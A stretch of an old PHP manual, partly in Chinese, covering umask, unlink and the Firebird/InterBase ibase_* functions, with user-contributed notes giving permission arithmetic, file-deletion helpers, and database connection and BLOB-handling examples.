// Checking
if ($old != umask()) {
    die('An error occured while changing back the umask');
}
?>

add a note add a note User Contributed Notes
ShaD@TW
17-May-2006 12:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');  //- 0006
mkdir("/path/dir");            //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);  //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);  //- OK
?>

If there was any mistake, please correct my statement.
19-Feb-2006 12:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org
04-Mar-2005 06:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
trisk at earthling dot net
01-Feb-2005 01:25
I thought I would clarify the numbering scheme used here, as it confused me at first.

On the UNIX console, the command:

umask "blah"

In this instance, the umask command forces "blah" to be an octal number, regardless of how many digits you use and regardless of any leading zeroes.  In PHP, umask() does not default to octal as the console command does, it uses whatever numeric format you specify.

For example:

umask(213);

This uses the decimal integer 213 and not the octal number 213 as you would expect when using the console command.  In this case, it would set the umask to the octal number "325".

To enter the number as octal, just add one or more zeroes to the left of the number:

umask(0213);
umask(07);
umask(0044);

etc.
notepad at codewalkers dot com
19-Jun-2004 09:43
$old = umask(0);
chmod("/some/dir", 0755);
umask($old);
sam at totallydigital dot co dot nz
20-Sep-2002 12:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764
wptate at olemiss dot edu
01-Mar-2000 05:19
The -S option will print the symbolic values of umask, while changing the umask to the new setting.
(i.e. umask -S 007 will print 'u=rwx,g=rwx,o=')
add a note add a note

后退 | 起点 | 前进
touch | 上一级 | unlink


unlink

(PHP 3, PHP 4, PHP 5)

unlink -- 删除文件

说明

bool unlink ( string filename )

删除 filename。和 Unix C 的 unlink() 函数相似。如果成功则返回 TRUE，失败则返回 FALSE。

注: 自 PHP 5.0.0 起 unlink() 也可以用于某些 URL 封装协议。参考附录 L 中的列表看哪些封装协议支持 unlink()。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

参见目录删除函数 rmdir()。

add a note add a note User Contributed Notes
khalidz83 at yahoo dot co dot uk
15-Feb-2006 11:18
If you get an error while deleting a file from the system, check who is the owner of the file. For example if you move to another system and the owner is 'nobody' then the owner should be nobody for that file on the new system.If you delete as another user, you will get an error.
Anarcho at ssm-clan dot de
27-Nov-2005 06:56
Just to be a bit more accurate to the post of "jchase at solidmark dot com":

On unixoide systems you only need write permission for the directory to delete a file. The permissions of the file are nonrelevant.

You need file permissions if you want to change the file data or to read the data.
bishop
06-Jun-2005 03:30
<?php
/**
 * rm() -- Vigorously erase files and directories.
 *
 * @param $fileglob mixed If string, must be a file name (foo.txt), glob pattern (*.txt), or directory name.
 *                        If array, must be an array of file names, glob patterns, or directories.
 */
function rm($fileglob)
{
   if (is_string($fileglob)) {
       if (is_file($fileglob)) {
           return unlink($fileglob);
       } else if (is_dir($fileglob)) {
           $ok = rm("$fileglob/*");
           if (! $ok) {
               return false;
           }
           return rmdir($fileglob);
       } else {
           $matching = glob($fileglob);
           if ($matching === false) {
               trigger_error(sprintf('No files match supplied glob %s', $fileglob), E_USER_WARNING);
               return false;
           }
           $rcs = array_map('rm', $matching);
           if (in_array(false, $rcs)) {
               return false;
           }
       }
   } else if (is_array($fileglob)) {
       $rcs = array_map('rm', $fileglob);
       if (in_array(false, $rcs)) {
           return false;
       }
   } else {
       trigger_error('Param #1 must be filename or glob pattern, or array of filenames or glob patterns', E_USER_ERROR);
       return false;
   }

   return true;
}
?>
jchase at solidmark dot com
21-May-2005 01:05
[Editor's note: A suggestion for a work-around was submitted by argistof at gmail dot com: You can use the recursive option (see man chmod) when chmodding, for instance 'chmod 777 directory/ -R'. Be aware though, this will change the permissions of all files and folders in the diectory.]

Just a note which you probably all know, but I didn't, and it might save another poor sap some unnecessary time:

I was doing unlink() and fopen() on a file and got a permission denied error, even after chmoding the file to 0777.

The folder that contains the file must ALSO have write permission.  Took a headache to find this out.

Hope this helps someone :)
kickthedonkey at gmail dot com
17-May-2005 07:24
Regarding the comment by 'admin at crazydrumguy dot info':  You might want to consider using is_file instead of file_exists if you're wanting to target a file specifically (and not a directory).  file_exists($name) will return true if $name contains a path to a directory (which may or may not be what you want to do...)
ashley at semantic dot org
02-Apr-2005 06:50
Actually you should use "@unlink" rather than testing with file_exists. The former is atomic, whereas the latter can break if you can't guarantee only one process will try to delete a given file at a time.
dagski_AT_gmail_DOT_com
07-Feb-2005 02:19
before you could unlink a file created which uses a handle e.g.,

$handle = sqlite('temp.db');

unset($handle); first befofe
unlink($handle);

to avoide permission denied error.
chris at vibenewmedia dot com
15-Sep-2004 01:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>
pc AT newagelab DOT com DOT ua
08-Sep-2004 11:22
To delete files using wildcards:

<?
function delfile($str)
{
   foreach(glob($str) as $fn) {
       unlink($fn);
   }
}
?>
add a note add a note

后退 | 起点 | 前进
umask | 上一级 | Firebird/InterBase Functions


Firebird/InterBase Functions

PHP 手册
后退 前进

XXXVI. Firebird/InterBase Functions

简介

Firebird/InterBase is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird/InterBase offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981.

InterBase is the name of the closed-source variant of this RDBMS that was developed by Borland/Inprise. More information about InterBase is available at http://www.borland.com/interbase/.

Firebird is a commercially independent project of C and C++ programmers, technical advisors and supporters developing and enhancing a multi-platform relational database management system based on the source code released by Inprise Corp (now known as Borland Software Corp) under the InterBase Public License v.1.0 on 25 July, 2000. More information about Firebird is available at http://www.firebirdsql.org/.

注: This extension supports InterBase versions 5 and up and all versions of Firebird. Support for InterBase version 5.x will be dropped in PHP 5.

This database uses a single quote (') character for escaping, a behavior similar to the Sybase database, add to your php.ini the following directive:

magic_quotes_sybase = On

需求

安装

To enable InterBase support configure PHP --with-interbase[=DIR], where DIR is the InterBase base install directory, which defaults to /usr/interbase.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy gds32.dll from the DLL folder of the PHP/Win32 binary package to the SYSTEM32 folder of your windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32). In case you installed the InterBase database server on the same machine PHP is running on, you will have this DLL already. Therefore you don't need to copy gds32.dll from the DLL folder.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. InterBase configuration options

Name | Default | Changeable | Changelog
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM | Available since PHP 5.0.0.
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

ibase.allow_persistent boolean

Whether to allow persistent connections to Firebird/InterBase.

ibase.max_persistent integer

The maximum number of persistent Firebird/InterBase connections per process. New connections created with ibase_pconnect() will be non-persistent if this number would be exceeded.

ibase.max_links integer

The maximum number of Firebird/InterBase connections per process, including persistent connections.

ibase.default_db string

The default database to connect to when ibase_[p]connect() is called without specifying a database name. If this value is set and SQL safe mode is enabled, no other connections than to this database will be allowed.

ibase.default_user string

The user name to use when connecting to a database if no user name is specified.

ibase.default_password string

The password to use when connecting to a database if no password is specified.

ibase.default_charset string

The character set to use when connecting to a database if no character set is specified.

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

These directives are used to set the date and time formats that are used when returning dates and times from a result set, or when binding arguments to date and time parameters.

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

The following constants can be passed to ibase_trans() to specify transaction behaviour.

表格 2. Firebird/InterBase transaction flags

Constant | Description
IBASE_DEFAULT | The default transaction settings are to be used. This default is determined by the client library, which defines it as IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT in most cases.
IBASE_READ | Starts a read-only transaction.
IBASE_WRITE | Starts a read-write transaction.
IBASE_CONSISTENCY | Starts a transaction with the isolation level set to 'consistency', which means the transaction cannot read from tables that are being modified by other concurrent transactions.
IBASE_CONCURRENCY | Starts a transaction with the isolation level set to 'concurrency' (or 'snapshot'), which means the transaction has access to all tables, but cannot see changes that were committed by other transactions after the transaction was started.
IBASE_COMMITTED | Starts a transaction with the isolation level set to 'read committed'. This flag should be combined with either IBASE_REC_VERSION or IBASE_REC_NO_VERSION. This isolation level allows access to changes that were committed after the transaction was started. If IBASE_REC_NO_VERSION was specified, only the latest version of a row can be read. If IBASE_REC_VERSION was specified, a row can even be read when a modification to it is pending in a concurrent transaction.
IBASE_WAIT | Indicated that a transaction should wait and retry when a conflict occurs.
IBASE_NOWAIT | Indicated that a transaction should fail immediately when a conflict occurs.

The following constants can be passed to ibase_fetch_row(), ibase_fetch_assoc() or ibase_fetch_object() to specify fetch behaviour.

表格 3. Firebird/InterBase fetch flags

Constant | Description
IBASE_FETCH_BLOBS | Also available as IBASE_TEXTfor backward compatibility. Causes BLOB contents to be fetched inline, instead of being fetched as BLOB identifiers.
IBASE_FETCH_ARRAYS | Causes arrays to be fetched inline. Otherwise, array identifiers are returned. Array identifiers can only be used as arguments to INSERT operations, as no functions to handle array identifiers are currently available.
IBASE_UNIXTIME | Causes date and time fields not to be returned as strings, but as UNIX timestamps (the number of seconds since the epoch, which is 1-Jan-1970 0:00 UTC). Might be problematic if used with dates before 1970 on some systems.

The following constants are used to pass requests and options to the service
API functions (ibase_server_info(), ibase_db_info
(), ibase_backup(), ibase_restore
() and ibase_maintain_db()). Please refer to
the Firebird/InterBase manuals for the meaning of these options.

IBASE_BKP_IGNORE_CHECKSUMS

IBASE_BKP_IGNORE_LIMBO

IBASE_BKP_METADATA_ONLY

IBASE_BKP_NO_GARBAGE_COLLECT

IBASE_BKP_OLD_DESCRIPTIONS

IBASE_BKP_NON_TRANSPORTABLE

IBASE_BKP_CONVERT

Options to ibase_backup()

IBASE_RES_DEACTIVATE_IDX

IBASE_RES_NO_SHADOW

IBASE_RES_NO_VALIDITY

IBASE_RES_ONE_AT_A_TIME

IBASE_RES_REPLACE

IBASE_RES_CREATE

IBASE_RES_USE_ALL_SPACE

Options to ibase_restore()

IBASE_PRP_PAGE_BUFFERS

IBASE_PRP_SWEEP_INTERVAL

IBASE_PRP_SHUTDOWN_DB

IBASE_PRP_DENY_NEW_TRANSACTIONS

IBASE_PRP_DENY_NEW_ATTACHMENTS

IBASE_PRP_RESERVE_SPACE

IBASE_PRP_RES_USE_FULL

IBASE_PRP_RES

IBASE_PRP_WRITE_MODE

IBASE_PRP_WM_ASYNC

IBASE_PRP_WM_SYNC

IBASE_PRP_ACCESS_MODE

IBASE_PRP_AM_READONLY

IBASE_PRP_AM_READWRITE

IBASE_PRP_SET_SQL_DIALECT

IBASE_PRP_ACTIVATE

IBASE_PRP_DB_ONLINE

IBASE_RPR_CHECK_DB

IBASE_RPR_IGNORE_CHECKSUM

IBASE_RPR_KILL_SHADOWS

IBASE_RPR_MEND_DB

IBASE_RPR_VALIDATE_DB

IBASE_RPR_FULL

IBASE_RPR_SWEEP_DB

Options to ibase_maintain_db()

IBASE_STS_DATA_PAGES

IBASE_STS_DB_LOG

IBASE_STS_HDR_PAGES

IBASE_STS_IDX_PAGES

IBASE_STS_SYS_RELATIONS

Options to ibase_db_info()

IBASE_SVC_SERVER_VERSION

IBASE_SVC_IMPLEMENTATION

IBASE_SVC_GET_ENV

IBASE_SVC_GET_ENV_LOCK

IBASE_SVC_GET_ENV_MSG

IBASE_SVC_USER_DBPATH

IBASE_SVC_SVR_DB_INFO

IBASE_SVC_GET_USERS

Options to ibase_server_info()

目录
ibase_add_user -- Add a user to a security database (only for IB6 or later)
ibase_affected_rows -- Return the number of rows that were affected by the previous query
ibase_backup -- Initiates a backup task in the service manager and returns immediately
ibase_blob_add -- Add data into a newly created blob
ibase_blob_cancel -- Cancel creating blob
ibase_blob_close -- Close blob
ibase_blob_create -- Create a new blob for adding data
ibase_blob_echo -- Output blob contents to browser
ibase_blob_get -- Get len bytes data from open blob
ibase_blob_import -- Create blob, copy file in it, and close it
ibase_blob_info -- Return blob length and other useful info
ibase_blob_open -- Open blob for retrieving data parts
ibase_close -- Close a connection to an InterBase database
ibase_commit_ret -- Commit a transaction without closing it
ibase_commit -- Commit a transaction
ibase_connect -- Open a connection to an InterBase database
ibase_db_info -- Request statistics about a database
ibase_delete_user -- Delete a user from a security database (only for IB6 or later)
ibase_drop_db -- Drops a database
ibase_errcode -- Return an error code
ibase_errmsg -- Return error messages
ibase_execute -- Execute a previously prepared query
ibase_fetch_assoc -- Fetch a result row from a query as an associative array
ibase_fetch_object -- Get an object from a InterBase database
ibase_fetch_row -- Fetch a row from an InterBase database
ibase_field_info -- Get information about a field
ibase_free_event_handler -- Cancels a registered event handler
ibase_free_query -- Free memory allocated by a prepared query
ibase_free_result -- Free a result set
ibase_gen_id -- Increments the named generator and returns its new value
ibase_maintain_db -- Execute a maintenance command on the database server
ibase_modify_user -- Modify a user to a security database (only for IB6 or later)
ibase_name_result -- Assigns a name to a result set
ibase_num_fields -- Get the number of fields in a result set
ibase_num_params -- Return the number of parameters in a prepared query
ibase_param_info -- Return information about a parameter in a prepared query
ibase_pconnect -- Open a persistent connection to an InterBase database
ibase_prepare -- Prepare a query for later binding of parameter placeholders and execution
ibase_query -- Execute a query on an InterBase database
ibase_restore -- Initiates a restore task in the service manager and returns immediately
ibase_rollback_ret -- Roll back a transaction without closing it
ibase_rollback -- Roll back a transaction
ibase_server_info -- Request information about a database server
ibase_service_attach -- Connect to the service manager
ibase_service_detach -- Disconnect from the service manager
ibase_set_event_handler -- Register a callback function to be called when events are posted
ibase_timefmt -- Sets the format of timestamp, date and time type columns returned from queries
ibase_trans -- Begin a transaction
ibase_wait_event -- Wait for an event to be posted by the database

add a note add a note User Contributed Notes
chrisg at cordell dot com dot au
04-Jun-2004 02:59
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

function interbase_sql_exec ($sql) {
   $dataArr = array();
   $host = "svrname:path\filename.GDB";
   $username = "whatever";
   $password = "******";
   $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
   $rid = @ibase_query ($connection, $sql);
   if ($rid===false) errorHandle(ibase_errmsg(),$sql);
   $coln = ibase_num_fields($rid);
   $blobFields = array();
   for ($i=0; $i < $coln; $i++) {
       $col_info = ibase_field_info($rid, $i);
       if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
   }
   while ($row = ibase_fetch_row ($rid)) {
       foreach ($blobFields as $field_num=>$field_name) {
           $blobid = ibase_blob_open($row[$field_num]);
           $row[$field_num] = ibase_blob_get($blobid,102400);
           ibase_blob_close($blobid);
       }
       $dataArr[] = $row;
   }
   ibase_close ($connection);
   return $dataArr;
}
felixlee at singnet dot com dot sg
03-Jul-2003 02:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net
20-Sep-2002 10:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com
06-Sep-2002 05:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
theynich_s at yahoo dot com
12-May-2002 02:16
Hello PHP Mania,

i have made a paging for PHP with Interbase...... :)

i hope it usefull and work....:)

it`s a litle bit of example :

<?
$connection = ibase_connect($yourdb, $user, $password);

$filename = BASENAME(__FILE__);
$strsql = "Your SQL";
$result = ibase_query($connection, $strsql);

function ibase_num_rows($query) { //I have pick it from bg_idol@hotmail.com
 $i = 0;
 while (ibase_fetch_row($query)) {
   $i++;
  }
return $i;
}
$nrow = ibase_num_rows($result);//sum of row

$strSQL = "your SQL";
$result = ibase_query($connection, $strSQL);

if (!isset($page))
  $page = 1;

$$i = 0;
$recperpage = 4;
$norecord = ($page - 1) * $recperpage;
if ($norecord){
  $j=0;
  while($j < $norecord and list($code, $name)= ibase_fetch_row($result)){

  $j++;
  }
}
echo "<table>";
while (list($code, $name)= ibase_fetch_row($result) and $i < $recperpage){

  ?>
    <tr>
       <td width="5%"><? echo $code; ?></td>
       <td><? echo $name; ?></td>
   </tr>
<?
$i++;
}

$incr = $page + 1;
if ($page > 1) $decr = $page - 1;

$numOfPage = ceil($nrow/$recperpage);
?>
    <tr>
<td colspan="3" align="center"><?if ($page <= 1)
                   echo "<span>Prev</span>";
                 else
                     echo "<a href=".$filename."?page=".$decr.">Prev</a>";
               ?>
                &nbsp;&nbsp;
               <?if ($page == $numOfPage)
                   echo "<span>Next</span>";
                 else
                     echo "<a href=".$filename."?page=".$incr.">Next</a>";?>
</td>
</tr>
</table>
johan at essay dot org
07-Aug-2000 10:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.  Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !
add a note add a note

后退 | 起点 | 前进
unlink | 上一级 | ibase_add_user


ibase_add_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_add_user -- Add a user to a security database (only for IB6 or later)

Description

bool ibase_add_user ( resource service_handle, string user_name, string password [, string first_name [, string middle_name [, string last_name]]] )

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

警告

本函数暂无文档，仅有参数列表。

See also ibase_modify_user() and ibase_delete_user().

add a note add a note User Contributed Notes
pabloj
12-Apr-2006 05:10
You can create users on Firebird/Interbase this way:

<?php
   // attach to the server with proper privileges
   if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
       // get server version and implementation strings
       $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                     . ' / '
                     . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
       //ibase_service_detach($service);
   }
   else {
       $ib_error = ibase_errmsg();
   }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
       echo 'User created';
       ibase_service_detach($service);
   }
   else {
       $ib_error = ibase_errmsg();
       //detach from server
       ibase_service_detach($service);
   }
?>
add a note add a note

后退 | 起点 | 前进
Firebird/InterBase Functions | 上一级 | ibase_affected_rows


ibase_affected_rows

(PHP 5)

ibase_affected_rows -- Return the number of rows that were affected by the previous query

Description

int ibase_affected_rows ( [resource link_identifier] )

This function returns the number of rows that were affected by the previous query (INSERT, UPDATE or DELETE) that was executed from within the transaction context specified by link_identifier. If link_identifier is a connection resource, its default transaction is used.

See also ibase_query() and ibase_execute().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_add_user | 上一级 | ibase_backup


ibase_backup

(PHP 5)

ibase_backup -- Initiates a backup task in the service manager and returns immediately

Description

mixed ibase_backup ( resource service_handle, string source_db, string dest_file [, int options [, bool verbose]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
Gara
11-Jan-2006 08:36
I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);
add a note add a note

后退 | 起点 | 前进
ibase_affected_rows | 上一级 | ibase_blob_add


ibase_blob_add

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_add -- Add data into a newly created blob

Description

void ibase_blob_add ( resource blob_handle, string data )

ibase_blob_add() adds data into a blob created with ibase_blob_create(). Returns NULL on success or FALSE on failure.

See also
ibase_blob_cancel(),
ibase_blob_close(),
ibase_blob_create() and
ibase_blob_import().

add a note add a note User Contributed Notes
a dot w dot peters at ieee dot org
09-Dec-2004 11:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>
add a note add a note

后退 | 起点 | 前进
ibase_backup | 上一级 | ibase_blob_cancel


ibase_blob_cancel

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_cancel -- Cancel creating blob

Description

bool ibase_blob_cancel ( resource blob_handle )

This function will discard a BLOB created by ibase_create_blob() if it has not yet been closed by ibase_blob_close(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also
ibase_blob_close(),
ibase_blob_create() and
ibase_blob_import().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_blob_add | 上一级 | ibase_blob_close


ibase_blob_close

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_close -- Close blob

Description

mixed ibase_blob_close ( resource blob_handle )

This function closes a BLOB that has either been opened for reading by ibase_open_blob() or has been opened for writing by ibase_create_blob(). If the BLOB was being read, this function returns TRUE on success, if the BLOB was being written to, this function returns a string containing the BLOB id that has been assigned to it by the database. On failure, this function returns FALSE.

See also ibase_blob_cancel() and ibase_blob_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_blob_cancel | 上一级 | ibase_blob_create


ibase_blob_create

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_create -- Create a new blob for adding data

Description

resource ibase_blob_create ( [resource link_identifier] )

ibase_blob_create() creates a new BLOB for filling with data. It returns a BLOB handle for later use with ibase_blob_add() or FALSE on failure.

See also
ibase_blob_add(),
ibase_blob_cancel(),
ibase_blob_close() and
ibase_blob_import().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_blob_close | 上一级 | ibase_blob_echo


ibase_blob_echo

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_echo -- Output blob contents to browser

Description

bool ibase_blob_echo ( resource link_identifier, string blob_id )

bool ibase_blob_echo ( string blob_id )

This function opens a BLOB for reading and sends its contents directly to standard output (the browser, in most cases). 如果成功则返回 TRUE，失败则返回 FALSE。

See also
ibase_blob_open(),
ibase_blob_close() and
ibase_blob_get().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_blob_create | 上一级 | ibase_blob_get


ibase_blob_get

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_get -- Get len bytes data from open blob

Description

string ibase_blob_get ( resource blob_handle, int len )

This function returns at most len bytes from a BLOB that has been opened for reading by ibase_blob_open(). Returns FALSE on failure.

<?php
    $sql       = "SELECT blob_value FROM table";
    $result    = ibase_query($sql);
    $data      = ibase_fetch_object($result);
    $blob_data = ibase_blob_info($data->BLOB_VALUE);
    $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
    echo         ibase_blob_get($blob_hndl, $blob_data[0]);
?>

Whilst this example doesn't do much more than a 'ibase_blob_echo($data->BLOB_VALUE)' would do, it does show you how to get information into a $variable to manipulate as you please.

注: It is not possible to read from a BLOB that has been opened for writing by ibase_blob_create().

See also
ibase_blob_open(),
ibase_blob_close() and
ibase_blob_echo().

add a note add a note User Contributed Notes
trinite at trinite dot mine dot nu
29-Dec-2005 07:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
   $result = ibase_fetch_object($result);

   /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
   */
   $blobinfo = ibase_blob_info($result->MFOTO);

   $blobhandle = ibase_blob_open($result->MFOTO);
   for($i = 0; $i < $blobinfo[1]; $i++){
       $readsize = $blobinfo[2];
       if($i == ($blobinfo[1] - 1)){
           $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
       }
       $totalimage .= ibase_blob_get($blobhandle, $readsize);
   }
   ibase_blob_close($blobhandle);
   echo $totalimage;
?>

This should do the trick ;)
hamacker
24-Nov-2004 10:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com
19-Mar-2003 02:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
   $blob_data = ibase_blob_info( $row->DATA);
   $blob_hndl = ibase_blob_open($row->DATA);
   $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
   $image = ibase_blob_get($blob_hndl,8192);
   while($data = ibase_blob_get($blob_hndl, 8192)){
       $image .= $data;
   }
}
add a note add a note

后退 | 起点 | 前进
ibase_blob_echo | 上一级 | ibase_blob_import


ibase_blob_import

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_import -- Create blob, copy file in it, and close it

Description

string ibase_blob_import ( resource link_identifier, resource file_handle )

string ibase_blob_import ( resource file_handle )

This function creates a BLOB, reads an entire file into it, closes it and returns the assigned BLOB id. The file handle is a handle returned by fopen(). Returns FALSE on failure.

例子 1. ibase_blob_import() example

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

    $blob = ibase_blob_import($dbh, $fd);
    fclose($fd);

    if (!is_string($blob)) {
        // import failed
    } else {
        $query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
        $prepared = ibase_prepare($dbh, $query);
        if (!ibase_execute($prepared, $blob)) {
            // record insertion failed
        }
    }
} else {
    // unable to open the data file
}
?>

See also
ibase_blob_add(),
ibase_blob_cancel(),
ibase_blob_close() and
ibase_blob_create().

add a note add a note User Contributed Notes
hamacker at bol dot com dot br
20-Jan-2004 12:40
Exemplo (Example) :
  $conexao = ibase_connect('servidor:/path/do/arquivo/de/dados.fdb',
                   'SYSDBA',
                   'masterkey',
                   'ISO8859_1',0,3);
// ou voce pega o arqivo via um upload ou
// passara diretamente o path do .jpg
//  $filename =$HTTP_POST_FILES['meuarquivo']['tmp_name'];
// ou
  $filename ='c:\path\do\arquivo.jpg';
  $file = fopen($filename, "r");
  $blob = ibase_blob_import($file);
  $trans=ibase_trans();
